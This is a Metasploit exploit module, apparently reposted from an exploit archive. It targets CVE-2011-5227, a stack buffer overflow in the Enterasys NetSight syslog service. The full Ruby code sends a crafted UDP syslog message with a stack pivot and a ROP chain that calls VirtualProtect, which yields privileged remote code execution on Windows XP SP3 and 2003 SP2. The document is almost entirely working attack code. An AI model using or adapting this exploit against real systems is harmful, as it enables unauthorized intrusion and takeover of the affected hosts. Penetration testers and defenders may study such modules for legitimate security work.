Enterasys NetSight nssyslogd.exe Buffer Overflow Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Udp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Enterasys NetSight. The
                vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially
                crafted PRIO from a syslog message. The module has been tested successfully on
                Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.
            },
            'Author'         =>
                [
                    'Jeremy Brown', # Vulnerability discovery
                    'rgod <rgod[at]autistici.org>', # Vulnerability discovery
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    ['CVE', '2011-5227'],
                    ['OSVDB', '77971'],
                    ['BID', '51124'],
                    ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'],
                    ['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                    'Space' => 3000,
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    ['Enterasys NetSight 4.0.1.34 / Windows XP SP3',
                        {
                            'Offset' => 43,
                            'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
                        }
                    ],
                    ['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',
                        {
                            'Offset' => 43,
                            'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
                        }
                    ]
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'Dec 19 2011',
            'DefaultTarget'  => 1
            ))
 
        register_options([ Opt::RPORT(514) ], self.class)
    end
 
    def junk(n=4)
        return rand_text_alpha(n).unpack("V")[0].to_i
    end
 
    def nop
        return make_nops(4).unpack("V")[0].to_i
    end
 
    def get_stackpivot
        stack_pivot = ''
        case target.name
        when /Windows XP SP3/
            stack_pivot << [0x77c4e448].pack("V") #ret
            stack_pivot << [0x77c4e448].pack("V") #ret
            stack_pivot << [0x77c4e448].pack("V") #ret
            stack_pivot << [0x77c4e448].pack("V") #ret
            stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN
        when /Windows 2003 SP2/
            stack_pivot << [0x77bdf448].pack("V") #ret
            stack_pivot << [0x77bdf448].pack("V") #ret
            stack_pivot << [0x77bdf448].pack("V") #ret
            stack_pivot << [0x77bdf448].pack("V") #ret
            stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN
        end
        return stack_pivot
    end
 
    def get_payload
        my_payload = ''
 
        case target.name
        when /Windows XP SP3/
            jmp_esp = [0x77c35459].pack("V")
            my_payload << jmp_esp
        when /Windows 2003 SP2/
            rop_gadgets =
                [
                    0x77bb2563, # POP EAX # RETN
                    0x77ba1114, # <- *&VirtualProtect()
                    0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                    junk,
                    0x77bb0c86, # XCHG EAX,ESI # RETN
                    0x77bc9801, # POP EBP # RETN
                    0x77be2265, # ptr to 'push esp #  ret'
                    0x77bb2563, # POP EAX # RETN
                    #0x03C0990F,
                    0x03c09f0f,
                    0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0xb00 -> ebx)
                    0x77bb48d3, # POP EBX, RET
                    0x77bf21e0, # .data
                    0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
                    0x77bbfc02, # POP ECX # RETN
                    0x77bef001, # W pointer (lpOldProtect) (-> ecx)
                    0x77bd8c04, # POP EDI # RETN
                    0x77bd8c05, # ROP NOP (-> edi)
                    0x77bb2563, # POP EAX # RETN
                    0x03c0984f,
                    0x77bdd441, # SUB EAX, 03c0940f
                    0x77bb8285, # XCHG EAX,EDX # RETN
                    0x77bb2563, # POP EAX # RETN
                    nop,
                    0x77be6591, # PUSHAD # ADD AL,0EF # RETN
                ].pack("V*")
            my_payload << rop_gadgets
        end
 
        my_payload << payload.encoded
        return my_payload
    end
 
    def exploit
        connect_udp
 
        prio = "<"
        prio << rand_text_alpha(19)
        prio << get_stackpivot
        prio << rand_text_alpha(4)
        prio << [target.ret].pack("V")
        prio << ">"
 
        message = prio
        message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length
        message << get_payload
 
        print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
        udp_sock.put(message)
 
        disconnect_udp
    end
 
end

#  0day.today [2018-01-10]  #